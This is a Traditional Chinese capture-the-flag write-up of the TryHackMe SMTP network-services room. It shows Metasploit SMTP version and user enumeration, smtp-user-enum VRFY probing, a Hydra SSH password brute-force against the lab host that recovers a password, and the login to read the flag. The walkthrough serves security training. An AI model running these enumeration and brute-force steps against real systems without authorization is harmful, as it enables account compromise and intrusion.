> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe Network Services 2 (SMTP) writeup (zh-TW)
- URL: https://taiwanding.com/tryhackme-network-services-2-smtp-writeup-zh-tw/
- Published: 2025-10-26T06:42:25.000Z
- Updated: 2026-07-15T02:50:07.000Z
- Author: Kevin Chen
- Tags: tryhackme, network services

📚 系列文章 · TryHackMe Network Services

1. [Part 1：SMB](https://taiwanding.com/tryhackme-network-services-smb-writeup/)
2. ▸ Part 2：SMTP （本篇）
3. [Part 2：MySQL](https://taiwanding.com/tryhackme-network-services-mysql-writeup-zh-tw/)

**說明**: 這個房間演示如何枚舉 SMTP 服務並透過使用者枚舉進行後續攻擊

## 📋 目標資訊

- Target IP: `10.201.91.170`
- 服務: SMTP (Postfix on Ubuntu)
- 目標: 透過 SMTP 使用者枚舉取得系統存取權限

## 1\. 啟動 Metasploit

```bash
msfconsole

```

## 2\. SMTP 版本枚舉

### 搜尋 smtp\_version 模組

```bash
msf6 > search smtp_version

```

**完整模組名稱：** `auxiliary/scanner/smtp/smtp_version`

### 選擇模組並列出選項

```bash
msf6 > use auxiliary/scanner/smtp/smtp_version
msf6 auxiliary(scanner/smtp/smtp_version) > options

```

### 設定必要選項

需要設定的選項：**RHOSTS**

```bash
msf6 auxiliary(scanner/smtp/smtp_version) > set RHOSTS 10.201.91.170
msf6 auxiliary(scanner/smtp/smtp_version) > run

```

**掃描結果：**

```
[+] 10.201.91.170:25 - 220 polosmtp.home ESMTP Postfix (Ubuntu)

```

**系統郵件名稱：** `polosmtp.home`

**MTA (Mail Transfer Agent)：** `Postfix`

## 3\. SMTP 使用者枚舉

### 搜尋 smtp\_enum 模組

```bash
msf6 > search smtp_enum

```

**完整模組名稱：** `auxiliary/scanner/smtp/smtp_enum`

### 選擇模組並設定選項

```bash
msf6 > use auxiliary/scanner/smtp/smtp_enum
msf6 auxiliary(scanner/smtp/smtp_enum) > show options

```

### 設定字典檔路徑

需要設定的選項：**USER\_FILE**

```bash
msf6 auxiliary(scanner/smtp/smtp_enum) > set USER_FILE /usr/share/wordlists/SecLists/Usernames/top-usernames-shortlist.txt

```

### 設定目標主機

另一個必要參數：**RHOSTS**

```bash
msf6 auxiliary(scanner/smtp/smtp_enum) > set RHOSTS 10.201.91.170

```

### 執行枚舉

```bash
msf6 auxiliary(scanner/smtp/smtp_enum) > run

```

**枚舉結果：**

發現使用者：**administrator**

## 4\. 也可以使用smtp-user-enum

如果 Metasploit 的 smtp\_enum 結果不理想，可以使用專門工具：

```bash
smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t 10.201.91.170

```

**枚舉結果：**

```
10.201.91.170: administrator exists  ⬅️ 高價值目標！
10.201.91.170: root exists
10.201.91.170: postmaster exists
10.201.91.170: mail exists
[... 其他系統使用者 ...]

```

## 5\. SSH 密碼爆破

### 使用 Hydra 爆破 SSH

```bash
hydra -l administrator -P /usr/share/wordlists/rockyou.txt ssh://10.201.91.170 -t 4 -w 3 -V

```

**參數說明：**

- `-l administrator` \- 目標使用者
- `-P /usr/share/wordlists/rockyou.txt` \- 密碼字典
- `-t 4` \- 使用 4 個執行緒（避免被 SSH 阻擋）
- `-w 3` \- 每次嘗試延遲 3 秒
- `-V` \- 顯示詳細過程

**爆破結果：**

```
[22][ssh] host: 10.201.91.170   login: administrator   password: alejandro

```

✅ 成功破解密碼：**alejandro**

## 7\. SSH 登入並取得 Flag

```bash
ssh administrator@10.201.91.170
# 密碼: alejandro

```

✅ SSH 登入成功！

```
Welcome to Ubuntu 20.04.6 LTS
administrator@ip-10-201-91-170:~$

```

### 取得 Flag

```bash
administrator@ip-10-201-91-170:~$ ls
smtp.txt

administrator@ip-10-201-91-170:~$ cat smtp.txt
THM{Redacted}

```

## 技術要點總結

- ✅ Metasploit `auxiliary/scanner/smtp/smtp_version` \- 識別 SMTP 版本
- ✅ Metasploit `auxiliary/scanner/smtp/smtp_enum` \- 枚舉使用者
- ✅ `smtp-user-enum` \- 使用 VRFY 指令枚舉（替代方案）
- ✅ Hydra - SSH 密碼爆破

## Metasploit 指令速查

| 指令                     | 說明            |
| ---------------------- | ------------- |
| msfconsole             | 啟動 Metasploit |
| search <term>          | 搜尋模組          |
| use <module>           | 選擇模組          |
| show options 或 options | 列出模組選項        |
| set <option> <value>   | 設定選項          |
| run 或 exploit          | 執行模組          |